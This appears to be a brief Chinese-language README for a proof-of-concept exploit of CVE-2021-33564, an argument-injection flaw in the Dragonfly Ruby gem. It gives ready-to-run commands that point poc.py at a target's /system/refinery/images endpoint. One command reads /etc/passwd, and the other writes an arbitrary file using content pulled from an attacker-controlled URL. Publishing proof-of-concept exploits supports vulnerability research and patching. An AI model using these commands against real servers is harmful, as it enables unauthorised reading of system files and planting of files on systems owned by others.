CVE-2021-33564 PoC

针对 CVE-2021-33564（Dragonfly Ruby Gem 中的参数注入漏洞）的利用脚本。

使用说明

任意文件读取

python3 poc.py -u https://<target_url>/system/refinery/images -r /etc/passwd

任意文件写入

python3 poc.py -u https://<target_url>/system/refinery/images -w public/test.txt -c test.txt -lu http://<local_url>

更多信息请访问博客。